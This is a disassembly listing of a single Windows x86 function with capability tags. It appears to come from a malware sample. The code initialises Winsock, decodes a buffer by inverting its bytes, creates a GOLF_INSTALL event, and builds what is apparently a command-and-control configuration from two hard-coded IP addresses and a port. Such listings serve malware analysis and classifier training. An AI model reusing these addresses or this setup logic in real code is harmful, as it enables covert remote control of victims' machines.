Function at 0x401bd0
Capabilities:
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc58
mov eax, dword [0x414044]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push eax
push ebx
push ebx
push ebx
mov dword [0x415e90], eax
mov eax, closesocket
push eax
push ebx
push eax
push 0xcf0000
push 0x415dc8
push 0x415d00
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401c1e
xor eax, eax
jmp 0x401e48
call fcn.004011e2
mov dword [0x417498], eax
call fcn.0040199c
test eax, eax
jne 0x401c3e
call fcn.004016d0
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0xa54]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x104
lea eax, [ebp - 0x234]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x7f
lea eax, [ebp - 0x8c3]
push ebx
push eax
mov byte [ebp - 0x8c4], bl
call fcn.0040ab80
add esp, 0xc
push 0x42e
lea eax, [ebp - 0x844]
push ebx
push eax
call fcn.0040ab80
add esp, 0xc
lea eax, [ebp - 0x8c4]
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.0040422c
pop ecx
pop ecx
cmp eax, 1
jne 0x401cbd
xor eax, eax
not byte [ebp + eax - 0x8c4]
inc eax
cmp eax, 0x4ae
jb 0x401cac
jmp 0x401d0d
push str.27.125.205.36
call fcn.0040112a
mov dword [ebp - 0x444], eax
mov eax, 0x2bb6
mov word [ebp - 0x440], ax
mov dword [esp], str.211.115.111.101
call fcn.0040112a
mov dword [ebp - 0x43e], eax
mov dword [esp], str.tkantlf
lea eax, [ebp - 0x436]
push 0x10
push eax
mov dword [ebp - 0x43a], 0x51
call fcn.00404347
add esp, 0xc
xor eax, eax
movzx ecx, word [eax + str.GOLF_INSTALL]
mov word [eax + 0x4176a8], cx
inc eax
inc eax
cmp cx, bx
jne 0x401d0f
mov esi, 0x4176a8
push esi
push ebx
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, ebx
je 0x401d46
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401c17
push esi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401c17
lea eax, [ebp - 0x8c4]
push eax
lea ebx, [ebp - 0xc54]
call fcn.00401f32
mov esi, eax
xor eax, eax
push 7
mov ecx, 0x80
mov edi, 0x4174a8
rep movsd dword es:[edi], dword [esi]
pop ecx
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp], 0x1e0
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.0040ab80
mov edx, dword [ebp - 0x43e]
add esp, 0xc
lea esi, [ebp - 0x28]
mov dword [ebp - 0x414], 0x504d534d
call fcn.0040105a
xor eax, eax
movzx ecx, word [ebp + eax - 0x28]
mov word [ebp + eax - 0x410], cx
inc eax
inc eax
test cx, cx
jne 0x401dba
mov ax, word [ebp - 0x43a]
mov edx, dword [ebp - 0x444]
lea esi, [ebp - 0x28]
mov word [ebp - 0x390], ax
call fcn.0040105a
xor eax, eax
movzx ecx, word [ebp + eax - 0x28]
mov word [ebp + eax - 0x36e], cx
inc eax
inc eax
test cx, cx
jne 0x401dec
mov ax, word [ebp - 0x440]
mov ecx, dword [ebp - 0x444]
mov word [ebp - 0x2ee], ax
mov word [0x4174a0], ax
lea eax, [ebp - 0x436]
push eax
lea eax, [ebp - 0x38e]
push 0x10
push eax
mov dword [0x41749c], ecx
call fcn.00404347
lea eax, [ebp - 0x414]
add esp, 0xc
push eax
call fcn.00404291
xor eax, eax
pop ecx
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040430c
leave
ret